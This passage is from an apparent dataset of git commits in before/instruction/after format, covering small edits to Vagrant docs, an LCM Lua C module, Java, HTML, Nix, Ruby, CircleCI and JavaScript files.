path.dirname(bootstrapLess) ] } }) } // Add "package" to be used by bootprint-doc-generator module.exports.package = require('./package')
3fc293d621a62a43d26cdaffc84c46c3a1e3bafa
website/source/docs/vagrantfile/vagrant_settings.html.md
website/source/docs/vagrantfile/vagrant_settings.html.md
--- layout: "docs" page_title: "config.vagrant - Vagrantfile" sidebar_current: "vagrantfile-vagrant" description: |- The settings within "config.vagrant" modify the behavior of Vagrant itself. --- # Vagrant Settings **Config namespace: `config.vagrant`** The settings within `config.vagrant` modify the behavior of Vagrant itself. ## Available Settings `config.vagrant.host` - This sets the type of host machine that is running Vagrant. By default this is `:detect`, which causes Vagrant to auto-detect the host. Vagrant needs to know this information in order to perform some host-specific things, such as preparing NFS folders if they're enabled. You should only manually set this if auto-detection fails. `config.vagrant.sensitive` - (string, array) - Value or list of values that should not be displayed in Vagrant's output. Value(s) will be removed from Vagrant's normal UI output as well as logger output.
--- layout: "docs" page_title: "config.vagrant - Vagrantfile" sidebar_current: "vagrantfile-vagrant" description: |- The settings within "config.vagrant" modify the behavior of Vagrant itself. --- # Vagrant Settings **Config namespace: `config.vagrant`** The settings within `config.vagrant` modify the behavior of Vagrant itself. ## Available Settings `config.vagrant.host` - This sets the type of host machine that is running Vagrant. By default this is `:detect`, which causes Vagrant to auto-detect the host. Vagrant needs to know this information in order to perform some host-specific things, such as preparing NFS folders if they're enabled. You should only manually set this if auto-detection fails. `config.vagrant.sensitive` - (string, array) - Value or list of values that should not be displayed in Vagrant's output. Value(s) will be removed from Vagrant's normal UI output as well as logger output. ```ruby config.vagrant.sensitive = ["MySecretPassword", ENV["MY_TOKEN"]] ```
Add example for sensitive option
Add example for sensitive option
Markdown
mit
taliesins/vagrant,chrisroberts/vagrant,crashlytics/vagrant,marxarelli/vagrant,mitchellh/vagrant,bryson/vagrant,taliesins/vagrant,gitebra/vagrant,sni/vagrant,sni/vagrant,gitebra/vagrant,gitebra/vagrant,PatrickLang/vagrant,mitchellh/vagrant,marxarelli/vagrant,bryson/vagrant,sni/vagrant,PatrickLang/vagrant,chrisroberts/vagrant,marxarelli/vagrant,taliesins/vagrant,crashlytics/vagrant,PatrickLang/vagrant,marxarelli/vagrant,PatrickLang/vagrant,bryson/vagrant,crashlytics/vagrant,sni/vagrant,gitebra/vagrant,crashlytics/vagrant,chrisroberts/vagrant,chrisroberts/vagrant,mitchellh/vagrant,mitchellh/vagrant,taliesins/vagrant,bryson/vagrant
markdown
## Code Before: --- layout: "docs" page_title: "config.vagrant - Vagrantfile" sidebar_current: "vagrantfile-vagrant" description: |- The settings within "config.vagrant" modify the behavior of Vagrant itself. --- # Vagrant Settings **Config namespace: `config.vagrant`** The settings within `config.vagrant` modify the behavior of Vagrant itself. ## Available Settings `config.vagrant.host` - This sets the type of host machine that is running Vagrant. By default this is `:detect`, which causes Vagrant to auto-detect the host. Vagrant needs to know this information in order to perform some host-specific things, such as preparing NFS folders if they're enabled. You should only manually set this if auto-detection fails. `config.vagrant.sensitive` - (string, array) - Value or list of values that should not be displayed in Vagrant's output. Value(s) will be removed from Vagrant's normal UI output as well as logger output. ## Instruction: Add example for sensitive option ## Code After: --- layout: "docs" page_title: "config.vagrant - Vagrantfile" sidebar_current: "vagrantfile-vagrant" description: |- The settings within "config.vagrant" modify the behavior of Vagrant itself. --- # Vagrant Settings **Config namespace: `config.vagrant`** The settings within `config.vagrant` modify the behavior of Vagrant itself. ## Available Settings `config.vagrant.host` - This sets the type of host machine that is running Vagrant. By default this is `:detect`, which causes Vagrant to auto-detect the host. Vagrant needs to know this information in order to perform some host-specific things, such as preparing NFS folders if they're enabled. You should only manually set this if auto-detection fails. `config.vagrant.sensitive` - (string, array) - Value or list of values that should not be displayed in Vagrant's output. Value(s) will be removed from Vagrant's normal UI output as well as logger output. ```ruby config.vagrant.sensitive = ["MySecretPassword", ENV["MY_TOKEN"]] ```
a1ec514adc224359043f267df88bf3dc07acb6b3
lcm-lua/init.c
lcm-lua/init.c
extern "C" { #endif #include "lua.h" #ifdef __cplusplus } #endif #include "lualcm_lcm.h" #include "lualcm_hash.h" #include "lualcm_pack.h" int luaopen_lcm_lcm(lua_State* L) { ll_lcm_makemetatable(L); ll_lcm_register_new(L); return 1; } int luaopen_lcm__hash(lua_State* L) { ll_hash_makemetatable(L); ll_hash_register_new(L); return 1; } int luaopen_lcm__pack(lua_State* L) { ll_pack_register(L); return 1; } int luaopen_lcm(lua_State* L) { lua_newtable(L); lua_pushstring(L, "lcm"); luaopen_lcm_lcm(L); lua_rawset(L, -3); lua_pushstring(L, "_hash"); luaopen_lcm__hash(L); lua_rawset(L, -3); lua_pushstring(L, "_pack"); luaopen_lcm__pack(L); lua_rawset(L, -3); return 1; }
extern "C" { #endif #include "lua.h" #ifdef __cplusplus } #endif #include "lualcm_lcm.h" #include "lualcm_hash.h" #include "lualcm_pack.h" int luaopen_lcm_lcm(lua_State* L) { ll_lcm_makemetatable(L); ll_lcm_register_new(L); return 1; } int luaopen_lcm__hash(lua_State* L) { ll_hash_makemetatable(L); ll_hash_register_new(L); return 1; } int luaopen_lcm__pack(lua_State* L) { ll_pack_register(L); return 1; } #if defined(_WIN32) __declspec(dllexport) #elif __GNUC__ >= 4 || defined(__clang__) __attribute__((visibility ("default"))) #endif int luaopen_lcm(lua_State* L) { lua_newtable(L); lua_pushstring(L, "lcm"); luaopen_lcm_lcm(L); lua_rawset(L, -3); lua_pushstring(L, "_hash"); luaopen_lcm__hash(L); lua_rawset(L, -3); lua_pushstring(L, "_pack"); luaopen_lcm__pack(L); lua_rawset(L, -3); return 1; }
Fix export decoration of Lua module
Fix export decoration of Lua module Add missing export decoration for Lua module entry point. This fixes the Lua module that stopped working when ELF hidden visibility was enabled. (I'm not sure about Windows, as I don't have Lua on Windows, but I suspect it never worked on Windows.)
C
lgpl-2.1
lcm-proj/lcm,adeschamps/lcm,adeschamps/lcm,bluesquall/lcm,lcm-proj/lcm,adeschamps/lcm,bluesquall/lcm,lcm-proj/lcm,adeschamps/lcm,adeschamps/lcm,lcm-proj/lcm,bluesquall/lcm,adeschamps/lcm,lcm-proj/lcm,adeschamps/lcm,lcm-proj/lcm,lcm-proj/lcm,bluesquall/lcm,adeschamps/lcm,bluesquall/lcm,lcm-proj/lcm,bluesquall/lcm,bluesquall/lcm
c
## Code Before: extern "C" { #endif #include "lua.h" #ifdef __cplusplus } #endif #include "lualcm_lcm.h" #include "lualcm_hash.h" #include "lualcm_pack.h" int luaopen_lcm_lcm(lua_State* L) { ll_lcm_makemetatable(L); ll_lcm_register_new(L); return 1; } int luaopen_lcm__hash(lua_State* L) { ll_hash_makemetatable(L); ll_hash_register_new(L); return 1; } int luaopen_lcm__pack(lua_State* L) { ll_pack_register(L); return 1; } int luaopen_lcm(lua_State* L) { lua_newtable(L); lua_pushstring(L, "lcm"); luaopen_lcm_lcm(L); lua_rawset(L, -3); lua_pushstring(L, "_hash"); luaopen_lcm__hash(L); lua_rawset(L, -3); lua_pushstring(L, "_pack"); luaopen_lcm__pack(L); lua_rawset(L, -3); return 1; } ## Instruction: Fix export decoration of Lua module Add missing export decoration for Lua module entry point. This fixes the Lua module that stopped working when ELF hidden visibility was enabled. (I'm not sure about Windows, as I don't have Lua on Windows, but I suspect it never worked on Windows.) ## Code After: extern "C" { #endif #include "lua.h" #ifdef __cplusplus } #endif #include "lualcm_lcm.h" #include "lualcm_hash.h" #include "lualcm_pack.h" int luaopen_lcm_lcm(lua_State* L) { ll_lcm_makemetatable(L); ll_lcm_register_new(L); return 1; } int luaopen_lcm__hash(lua_State* L) { ll_hash_makemetatable(L); ll_hash_register_new(L); return 1; } int luaopen_lcm__pack(lua_State* L) { ll_pack_register(L); return 1; } #if defined(_WIN32) __declspec(dllexport) #elif __GNUC__ >= 4 || defined(__clang__) __attribute__((visibility ("default"))) #endif int luaopen_lcm(lua_State* L) { lua_newtable(L); lua_pushstring(L, "lcm"); luaopen_lcm_lcm(L); lua_rawset(L, -3); lua_pushstring(L, "_hash"); luaopen_lcm__hash(L); lua_rawset(L, -3); lua_pushstring(L, "_pack"); luaopen_lcm__pack(L); lua_rawset(L, -3); return 1; }
44a173919e05493000fadad994961a58027457d7
src/com/grayben/riskExtractor/htmlScorer/ScoredText.java
src/com/grayben/riskExtractor/htmlScorer/ScoredText.java
package com.grayben.riskExtractor.htmlScorer; import java.util.ListIterator; public interface ScoredText { ListIterator<ScoredTextElement> getListIterator(); ListIterator<ScoredTextElement> getListIterator(int index); }
package com.grayben.riskExtractor.htmlScorer; import java.util.List; public interface ScoredText { List<ScoredTextElement> getList(); }
Remove Iterator retrival from interface
Remove Iterator retrival from interface
Java
mit
grayben/10K-item-extractor,grayben/10K-item-extractor
java
## Code Before: package com.grayben.riskExtractor.htmlScorer; import java.util.ListIterator; public interface ScoredText { ListIterator<ScoredTextElement> getListIterator(); ListIterator<ScoredTextElement> getListIterator(int index); } ## Instruction: Remove Iterator retrival from interface ## Code After: package com.grayben.riskExtractor.htmlScorer; import java.util.List; public interface ScoredText { List<ScoredTextElement> getList(); }
3906fe7c82313db9222f236f5ce9ea3cdc7d381e
web/app/views/layout.scala.html
web/app/views/layout.scala.html
@(webJarAssets: WebJarAssets)(content: Html) <!DOCTYPE html> <html> <head> <meta content="text/html" charset="utf-8"> <title>Geoportaal Overijssel</title> <link href='@routes.WebJarAssets.at(webJarAssets.locate("css/bootstrap.min.css"))' rel="stylesheet"> <link href='@routes.Assets.at("stylesheets/form.css")' rel="stylesheet"> @if("intern".equals(play.Play.application().configuration().getString("download.access"))) { <link href='@routes.Assets.at("stylesheets/form-intern.css")' rel="stylesheet"> } </head> <body> <div class="logo"> <a href="http://www.overijssel.nl"> <img src='@routes.Assets.at("images/logo_overijssel.png")' alt="Responsive image"></img> </a> </div> <div class="titlebar"> <h1 class="header">Download bestand</h1> </div> @content <div class="version">Download-tool van het Geoportaal van Overijssel, versie @getClass().getPackage().getImplementationVersion()</div> </body> </html>
@(webJarAssets: WebJarAssets)(content: Html) <!DOCTYPE html> <html> <head> <meta content="text/html" charset="utf-8"> <title>Geoportaal Overijssel</title> <link href='@routes.WebJarAssets.at(webJarAssets.locate("css/bootstrap.min.css"))' rel="stylesheet"> <link href='@routes.Assets.at("stylesheets/form.css")' rel="stylesheet"> @if("intern".equals(play.Play.application().configuration().getString("download.access"))) { <link href='@routes.Assets.at("stylesheets/form-intern.css")' rel="stylesheet"> } </head> <body> <div class="logo"> <a href="http://www.overijssel.nl"> <img src='@routes.Assets.at("images/logo_overijssel.png")' alt="Responsive image"></img> </a> </div> <div class="titlebar"> <h1 class="header">Download bestand</h1> </div> @content <div class="version">Download-tool: versie @getClass().getPackage().getImplementationVersion()</div> </body> </html>
Remove reference to Overijssel in version line
Remove reference to Overijssel in version line
HTML
lgpl-2.1
IDgis/download-tool,IDgis/download-tool,IDgis/download-tool
html
## Code Before: @(webJarAssets: WebJarAssets)(content: Html) <!DOCTYPE html> <html> <head> <meta content="text/html" charset="utf-8"> <title>Geoportaal Overijssel</title> <link href='@routes.WebJarAssets.at(webJarAssets.locate("css/bootstrap.min.css"))' rel="stylesheet"> <link href='@routes.Assets.at("stylesheets/form.css")' rel="stylesheet"> @if("intern".equals(play.Play.application().configuration().getString("download.access"))) { <link href='@routes.Assets.at("stylesheets/form-intern.css")' rel="stylesheet"> } </head> <body> <div class="logo"> <a href="http://www.overijssel.nl"> <img src='@routes.Assets.at("images/logo_overijssel.png")' alt="Responsive image"></img> </a> </div> <div class="titlebar"> <h1 class="header">Download bestand</h1> </div> @content <div class="version">Download-tool van het Geoportaal van Overijssel, versie @getClass().getPackage().getImplementationVersion()</div> </body> </html> ## Instruction: Remove reference to Overijssel in version line ## Code After: @(webJarAssets: WebJarAssets)(content: Html) <!DOCTYPE html> <html> <head> <meta content="text/html" charset="utf-8"> <title>Geoportaal Overijssel</title> <link href='@routes.WebJarAssets.at(webJarAssets.locate("css/bootstrap.min.css"))' rel="stylesheet"> <link href='@routes.Assets.at("stylesheets/form.css")' rel="stylesheet"> @if("intern".equals(play.Play.application().configuration().getString("download.access"))) { <link href='@routes.Assets.at("stylesheets/form-intern.css")' rel="stylesheet"> } </head> <body> <div class="logo"> <a href="http://www.overijssel.nl"> <img src='@routes.Assets.at("images/logo_overijssel.png")' alt="Responsive image"></img> </a> </div> <div class="titlebar"> <h1 class="header">Download bestand</h1> </div> @content <div class="version">Download-tool: versie @getClass().getPackage().getImplementationVersion()</div> </body> </html>
9d3377a062026c8547330da20d3a1153b47e8f67
nixpkgs/home/packages.nix
nixpkgs/home/packages.nix
{ pkgs, config, ... }: { # "The set of packages to appear in the user environment." home.packages = with pkgs; [ acpi ardour audacity blueman byzanz calc calibre cargo coreutils ctags curl dict diction exfat file firefox gnome3.adwaita-icon-theme gnumake gnupg golly gparted hsetroot hugo imagemagick libreoffice musescore nextcloud-client p7zip pandoc pass pasystray psmisc pwgen python python3 qrencode ranger rofi-pass rsync rustc rxvt_unicode_with-plugins scrot spotify sshfs sxiv texlive.combined.scheme-full thunderbird tomb transmission_gtk trash-cli tree unclutter unzip vlc w3m wget xclip xdg-user-dirs xdg_utils xorg.xbacklight xorg.xev xorg.xwininfo xsel youtube-dl zathura zip zotero ]; }
{ pkgs, config, ... }: { # "The set of packages to appear in the user environment." home.packages = with pkgs; [ acpi ardour audacity blueman byzanz calc calibre cargo coreutils ctags curl dict diction exfat file firefox gnome3.adwaita-icon-theme gnumake gnupg golly gparted hsetroot hugo imagemagick libreoffice.libreoffice musescore nextcloud-client p7zip pandoc pass pasystray psmisc pwgen python python3 qrencode ranger rofi-pass rsync rustc rxvt_unicode_with-plugins scrot spotify sshfs sxiv texlive.combined.scheme-full thunderbird tomb transmission_gtk trash-cli tree unclutter unzip vlc w3m wget xclip xdg-user-dirs xdg_utils xorg.xbacklight xorg.xev xorg.xwininfo xsel youtube-dl zathura zip zotero ]; }
Fix libreoffice font bug (introducing high cpu usage...)
Fix libreoffice font bug (introducing high cpu usage...)
Nix
mit
gmarmstrong/dotfiles
nix
## Code Before: { pkgs, config, ... }: { # "The set of packages to appear in the user environment." home.packages = with pkgs; [ acpi ardour audacity blueman byzanz calc calibre cargo coreutils ctags curl dict diction exfat file firefox gnome3.adwaita-icon-theme gnumake gnupg golly gparted hsetroot hugo imagemagick libreoffice musescore nextcloud-client p7zip pandoc pass pasystray psmisc pwgen python python3 qrencode ranger rofi-pass rsync rustc rxvt_unicode_with-plugins scrot spotify sshfs sxiv texlive.combined.scheme-full thunderbird tomb transmission_gtk trash-cli tree unclutter unzip vlc w3m wget xclip xdg-user-dirs xdg_utils xorg.xbacklight xorg.xev xorg.xwininfo xsel youtube-dl zathura zip zotero ]; } ## Instruction: Fix libreoffice font bug (introducing high cpu usage...) ## Code After: { pkgs, config, ... }: { # "The set of packages to appear in the user environment." home.packages = with pkgs; [ acpi ardour audacity blueman byzanz calc calibre cargo coreutils ctags curl dict diction exfat file firefox gnome3.adwaita-icon-theme gnumake gnupg golly gparted hsetroot hugo imagemagick libreoffice.libreoffice musescore nextcloud-client p7zip pandoc pass pasystray psmisc pwgen python python3 qrencode ranger rofi-pass rsync rustc rxvt_unicode_with-plugins scrot spotify sshfs sxiv texlive.combined.scheme-full thunderbird tomb transmission_gtk trash-cli tree unclutter unzip vlc w3m wget xclip xdg-user-dirs xdg_utils xorg.xbacklight xorg.xev xorg.xwininfo xsel youtube-dl zathura zip zotero ]; }
e917a65d71b135f8dcdc97e1cea5d4f455aeaa92
README.rst
README.rst
mangler: bytecode mangler for frozen python apps ================================================= Mangler is a tool to obfuscate the bytecode of your frozen python applications. It makes it (slightly) harder for someone to take code from your app and use it for their own evil ends. Mangler works with the output of py2exe, py2app and cxfreeze. Support for bbfreeze and pyinstaller will be added eventually; if you desparately need such support you can slip me a fifty and I'll get right on it... Is it secure? ------------- It's as secure as possible. Which is to say: no, it's not. A determined attacker will be able to obtain the unobfuscated bytecode of your program, decompile it to an approximation of your source code, and have his/her wicked way with the result. But remember: such reverse engineering is possible to some degree with *any* application, written in any language. Anyone who says differently is selling you snake oil. What mangler can do is make it harder. A standard frozen python application basically ships with a big zipfile of all your code in an easily decompiled form. Mangler applies some simple byte-level mangling to the contents of this zipfile, meaning extra work for someone who wants to get at its contents. There is plenty more that could be done to make the attacker's work even harder. But it would require compiling a C extension or, even better, compiling a custom python interpreter. If you think you'd like to go down that road, I provide distributing-pyton-apps consulting and for a modest fee I'll be happy to (a) talk you out of it, or failing that, (b) implement a custom solution for you. Sounds awesome, how do I use it? -------------------------------- If you're just using py2exe, py2app or cxfreeze in their basic form, you can call the "mangler" script with the path to your frozen app: mangler /path/to/frozen/application This will generate a new mangling key, mangle the frozen bytecode using it, and patch the executables to correctly load the mangled bytecode. Easy. For more complicated scenarios, well, I haven't for around to fixing the API yet. Bear with me.
mangler: bytecode mangler for frozen python apps ================================================= WARNING: no implementation here. This project is no more than some crazy ideas and git repo. Sadly, I may not ever get the time to revisit it. Move along, weary traveller.
Update readme to indicate true status of project
Update readme to indicate true status of project
reStructuredText
mit
rfk/mangler
restructuredtext
## Code Before: mangler: bytecode mangler for frozen python apps ================================================= Mangler is a tool to obfuscate the bytecode of your frozen python applications. It makes it (slightly) harder for someone to take code from your app and use it for their own evil ends. Mangler works with the output of py2exe, py2app and cxfreeze. Support for bbfreeze and pyinstaller will be added eventually; if you desparately need such support you can slip me a fifty and I'll get right on it... Is it secure? ------------- It's as secure as possible. Which is to say: no, it's not. A determined attacker will be able to obtain the unobfuscated bytecode of your program, decompile it to an approximation of your source code, and have his/her wicked way with the result. But remember: such reverse engineering is possible to some degree with *any* application, written in any language. Anyone who says differently is selling you snake oil. What mangler can do is make it harder. A standard frozen python application basically ships with a big zipfile of all your code in an easily decompiled form. Mangler applies some simple byte-level mangling to the contents of this zipfile, meaning extra work for someone who wants to get at its contents. There is plenty more that could be done to make the attacker's work even harder. But it would require compiling a C extension or, even better, compiling a custom python interpreter. If you think you'd like to go down that road, I provide distributing-pyton-apps consulting and for a modest fee I'll be happy to (a) talk you out of it, or failing that, (b) implement a custom solution for you. Sounds awesome, how do I use it? -------------------------------- If you're just using py2exe, py2app or cxfreeze in their basic form, you can call the "mangler" script with the path to your frozen app: mangler /path/to/frozen/application This will generate a new mangling key, mangle the frozen bytecode using it, and patch the executables to correctly load the mangled bytecode. Easy. For more complicated scenarios, well, I haven't for around to fixing the API yet. Bear with me. ## Instruction: Update readme to indicate true status of project ## Code After: mangler: bytecode mangler for frozen python apps ================================================= WARNING: no implementation here. This project is no more than some crazy ideas and git repo. Sadly, I may not ever get the time to revisit it. Move along, weary traveller.
a19b4dcbc367edc0b581b63f58ecd0be0a1326b3
spec/helper.rb
spec/helper.rb
require './lib/dtext.rb' require 'nokogiri' include DText TestDir = "./tests" def p(str) DText.parse(str).gsub! /[\n\s]+/, "" end def find_test() begin test = Dir.entries(TestDir).select { |f| f =~ /^[^\.](?=.*\.txt$)/ } rescue print "Read #{TestDir} error\n" return [] end test.map! { |f| "#{TestDir}/#{f}" } test.sort end def r(f) begin ct = File.read(f) rescue print "Read #{f} error\n" return "" end ct.strip end def h(f) Nokogiri::HTML::DocumentFragment.parse(r(f)).to_html.gsub! /[\n\s]+/, "" end
require './lib/dtext.rb' require 'nokogiri' include DText TestDir = "./tests" def p(str) DText.parse(str) end def find_test() begin test = Dir.entries(TestDir).select { |f| f =~ /^[^\.](?=.*\.txt$)/ } rescue print "Read #{TestDir} error\n" return [] end test.map! { |f| "#{TestDir}/#{f}" } test.sort end def r(f) begin ct = File.read(f) rescue print "Read #{f} error\n" return "" end ct.strip end def h(f) Nokogiri::HTML::DocumentFragment.parse(r(f)).to_html end
Revert html formatting, still stuck at pretty format.
Revert html formatting, still stuck at pretty format.
Ruby
isc
moebooru/moebooru,euank/moebooru-thin,moebooru/moebooru,moebooru/moebooru,euank/moebooru-thin,nanaya/moebooru,moebooru/moebooru,nanaya/moebooru,moebooru/moebooru,nanaya/moebooru,euank/moebooru-thin,euank/moebooru-thin,nanaya/moebooru,euank/moebooru-thin,nanaya/moebooru
ruby
## Code Before: require './lib/dtext.rb' require 'nokogiri' include DText TestDir = "./tests" def p(str) DText.parse(str).gsub! /[\n\s]+/, "" end def find_test() begin test = Dir.entries(TestDir).select { |f| f =~ /^[^\.](?=.*\.txt$)/ } rescue print "Read #{TestDir} error\n" return [] end test.map! { |f| "#{TestDir}/#{f}" } test.sort end def r(f) begin ct = File.read(f) rescue print "Read #{f} error\n" return "" end ct.strip end def h(f) Nokogiri::HTML::DocumentFragment.parse(r(f)).to_html.gsub! /[\n\s]+/, "" end ## Instruction: Revert html formatting, still stuck at pretty format. ## Code After: require './lib/dtext.rb' require 'nokogiri' include DText TestDir = "./tests" def p(str) DText.parse(str) end def find_test() begin test = Dir.entries(TestDir).select { |f| f =~ /^[^\.](?=.*\.txt$)/ } rescue print "Read #{TestDir} error\n" return [] end test.map! { |f| "#{TestDir}/#{f}" } test.sort end def r(f) begin ct = File.read(f) rescue print "Read #{f} error\n" return "" end ct.strip end def h(f) Nokogiri::HTML::DocumentFragment.parse(r(f)).to_html end
2709e66f0cf736f6de2a1117332856dcd498519d
.circleci/config.yml
.circleci/config.yml
version: 2 jobs: build: docker: - image: sicz/dockerspec:3.6 working_directory: ~/docker-dockerspec environment: - MAKEFLAGS=--no-print-directory steps: - run: name: Set up Environment command: | curl -sSL https://github.com/SICZ/Mk/archive/master.tar.gz | tar -xzf - mv Mk-master ~/Mk - checkout - setup_remote_docker - run: name: Remote Docker engine version command: | docker version - run: name: Build Docker image command: | make docker-pull make build - run: name: Run Docker container command: | make run make logs - run: name: Run tests command: | env DOCKER_CONTAINER_ID=$(cat .container_id) rspec --format doc
version: 2 jobs: build: docker: - image: sicz/dockerspec:3.6 working_directory: ~/docker-dockerspec environment: - MAKEFLAGS=--no-print-directory steps: - run: name: Set up Environment command: | curl -sSL https://github.com/SICZ/Mk/archive/master.tar.gz | tar -xzf - mv Mk-master ~/Mk - checkout - setup_remote_docker - run: name: Remote Docker engine version command: | docker version - run: name: Build Docker image command: | make rebuild - run: name: Run Docker container command: | make run make logs - run: name: Run tests command: | env DOCKER_CONTAINER_ID=$(cat .container_id) rspec --format doc
Revert "Use Docker layer caching"
Revert "Use Docker layer caching" This reverts commit e0c7a37eedd2afe96c8bbb4cf7aa898f916789f5.
YAML
apache-2.0
sicz/docker-dockerspec
yaml
## Code Before: version: 2 jobs: build: docker: - image: sicz/dockerspec:3.6 working_directory: ~/docker-dockerspec environment: - MAKEFLAGS=--no-print-directory steps: - run: name: Set up Environment command: | curl -sSL https://github.com/SICZ/Mk/archive/master.tar.gz | tar -xzf - mv Mk-master ~/Mk - checkout - setup_remote_docker - run: name: Remote Docker engine version command: | docker version - run: name: Build Docker image command: | make docker-pull make build - run: name: Run Docker container command: | make run make logs - run: name: Run tests command: | env DOCKER_CONTAINER_ID=$(cat .container_id) rspec --format doc ## Instruction: Revert "Use Docker layer caching" This reverts commit e0c7a37eedd2afe96c8bbb4cf7aa898f916789f5. ## Code After: version: 2 jobs: build: docker: - image: sicz/dockerspec:3.6 working_directory: ~/docker-dockerspec environment: - MAKEFLAGS=--no-print-directory steps: - run: name: Set up Environment command: | curl -sSL https://github.com/SICZ/Mk/archive/master.tar.gz | tar -xzf - mv Mk-master ~/Mk - checkout - setup_remote_docker - run: name: Remote Docker engine version command: | docker version - run: name: Build Docker image command: | make rebuild - run: name: Run Docker container command: | make run make logs - run: name: Run tests command: | env DOCKER_CONTAINER_ID=$(cat .container_id) rspec --format doc
a451e50a75d7ee01d72d34c680c9d948c4fde14f
controller/users-admin/server.js
controller/users-admin/server.js
'use strict'; var assign = require('es5-ext/object/assign') , promisify = require('deferred').promisify , bcrypt = require('bcrypt') , dbjsCreate = require('mano/lib/utils/dbjs-form-create') , router = require('mano/server/post-router') , changePassword = require('mano-auth/controller/server/change-password').submit , dbObjects = require('mano').db.objects , genSalt = promisify(bcrypt.genSalt), hash = promisify(bcrypt.hash) , submit = router.submit; // Common assign(exports, require('../user/server')); // Add User exports['user-add'] = { submit: function (data) { return hash(data['User#/password'], genSalt())(function (password) { data['User#/password'] = password; this.target = dbjsCreate(data); }.bind(this)); } }; // Edit User exports['user/[0-9][a-z0-9]+'] = { submit: function (normalizedData, data) { if (this.propertyKey) return changePassword.apply(this, arguments); return submit.apply(this, arguments); } }; // Delete User exports['user/[0-9][a-z0-9]+/delete'] = { submit: function () { dbObjects.delete(this.target); } };
'use strict'; var assign = require('es5-ext/object/assign') , promisify = require('deferred').promisify , bcrypt = require('bcrypt') , dbjsCreate = require('mano/lib/utils/dbjs-form-create') , submit = require('mano/utils/save') , changePassword = require('mano-auth/controller/server/change-password').submit , dbObjects = require('mano').db.objects , genSalt = promisify(bcrypt.genSalt), hash = promisify(bcrypt.hash); // Common assign(exports, require('../user/server')); // Add User exports['user-add'] = { submit: function (data) { return hash(data['User#/password'], genSalt())(function (password) { data['User#/password'] = password; this.target = dbjsCreate(data); }.bind(this)); } }; // Edit User exports['user/[0-9][a-z0-9]+'] = { submit: function (normalizedData, data) { if (this.propertyKey) return changePassword.apply(this, arguments); return submit.apply(this, arguments); } }; // Delete User exports['user/[0-9][a-z0-9]+/delete'] = { submit: function () { dbObjects.delete(this.target); } };
Fix resolution of submit function
Fix resolution of submit function
JavaScript
mit
egovernment/eregistrations,egovernment/eregistrations,egovernment/eregistrations
javascript
## Code Before: 'use strict'; var assign = require('es5-ext/object/assign') , promisify = require('deferred').promisify , bcrypt = require('bcrypt') , dbjsCreate = require('mano/lib/utils/dbjs-form-create') , router = require('mano/server/post-router') , changePassword = require('mano-auth/controller/server/change-password').submit , dbObjects = require('mano').db.objects , genSalt = promisify(bcrypt.genSalt), hash = promisify(bcrypt.hash) , submit = router.submit; // Common assign(exports, require('../user/server')); // Add User exports['user-add'] = { submit: function (data) { return hash(data['User#/password'], genSalt())(function (password) { data['User#/password'] = password; this.target = dbjsCreate(data); }.bind(this)); } }; // Edit User exports['user/[0-9][a-z0-9]+'] = { submit: function (normalizedData, data) { if (this.propertyKey) return changePassword.apply(this, arguments); return submit.apply(this, arguments); } }; // Delete User exports['user/[0-9][a-z0-9]+/delete'] = { submit: function () { dbObjects.delete(this.target); } }; ## Instruction: Fix resolution of submit function ## Code After: 'use strict'; var assign = require('es5-ext/object/assign') , promisify = require('deferred').promisify , bcrypt = require('bcrypt') , dbjsCreate = require('mano/lib/utils/dbjs-form-create') , submit = require('mano/utils/save') , changePassword = require('mano-auth/controller/server/change-password').submit , dbObjects = require('mano').db.objects , genSalt = promisify(bcrypt.genSalt), hash = promisify(bcrypt.hash); // Common assign(exports, require('../user/server')); // Add User exports['user-add'] = { submit: function (data) { return hash(data['User#/password'], genSalt())(function (password) { data['User#/password'] = password; this.target = dbjsCreate(data); }.bind(this)); } }; // Edit User exports['user/[0-9][a-z0-9]+'] = { submit: function (normalizedData, data) { if (this.propertyKey) return changePassword.apply(this, arguments); return submit.apply(this, arguments); } }; // Delete User exports['user/[0-9][a-z0-9]+/delete'] = { submit: function () { dbObjects.delete(this.target); } };
5b7d293216b34689d4cfbaaa9795bfb87776a744
packages/li/libgraph.yaml
packages/li/libgraph.yaml
homepage: http://maartenfaddegon.nl changelog-type: '' hash: 896b85a573cf44afe57c215379bdf819269b35d47601fae34f0394a978aff914 test-bench-deps: {} maintainer: [email protected] synopsis: Store and manipulate data in a graph. changelog: '' basic-deps: base: ! '>=4 && <5' monads-tf: -any process: -any union-find: -any array: -any containers: -any all-versions: - '1.3' - '1.4' - '1.5' - '1.6' - '1.7' - '1.8' - '1.9' - '1.10' - '1.11' author: Maarten Faddegon latest: '1.11' description-type: haddock description: A graph type, analysis of graphs and manipulation of graphs. license-name: BSD3
homepage: http://maartenfaddegon.nl changelog-type: '' hash: cc4c981a4fa24c80cb390fb12b734a10b7cfa3809bd41d6786812336ba063ce5 test-bench-deps: {} maintainer: [email protected] synopsis: Store and manipulate data in a graph. changelog: '' basic-deps: base: ! '>=4 && <5' monads-tf: -any process: -any union-find: -any array: -any containers: -any all-versions: - '1.3' - '1.4' - '1.5' - '1.6' - '1.7' - '1.8' - '1.9' - '1.10' - '1.11' - '1.12' author: Maarten Faddegon latest: '1.12' description-type: haddock description: A graph type, analysis of graphs and manipulation of graphs. license-name: BSD3
Update from Hackage at 2017-05-20T12:00:41Z
Update from Hackage at 2017-05-20T12:00:41Z
YAML
mit
commercialhaskell/all-cabal-metadata
yaml
## Code Before: homepage: http://maartenfaddegon.nl changelog-type: '' hash: 896b85a573cf44afe57c215379bdf819269b35d47601fae34f0394a978aff914 test-bench-deps: {} maintainer: [email protected] synopsis: Store and manipulate data in a graph. changelog: '' basic-deps: base: ! '>=4 && <5' monads-tf: -any process: -any union-find: -any array: -any containers: -any all-versions: - '1.3' - '1.4' - '1.5' - '1.6' - '1.7' - '1.8' - '1.9' - '1.10' - '1.11' author: Maarten Faddegon latest: '1.11' description-type: haddock description: A graph type, analysis of graphs and manipulation of graphs. license-name: BSD3 ## Instruction: Update from Hackage at 2017-05-20T12:00:41Z ## Code After: homepage: http://maartenfaddegon.nl changelog-type: '' hash: cc4c981a4fa24c80cb390fb12b734a10b7cfa3809bd41d6786812336ba063ce5 test-bench-deps: {} maintainer: [email protected] synopsis: Store and manipulate data in a graph. changelog: '' basic-deps: base: ! '>=4 && <5' monads-tf: -any process: -any union-find: -any array: -any containers: -any all-versions: - '1.3' - '1.4' - '1.5' - '1.6' - '1.7' - '1.8' - '1.9' - '1.10' - '1.11' - '1.12' author: Maarten Faddegon latest: '1.12' description-type: haddock description: A graph type, analysis of graphs and manipulation of graphs. license-name: BSD3
2bdffa778d236dd39e3bd4bfa9a01e7eb703c58a
README.md
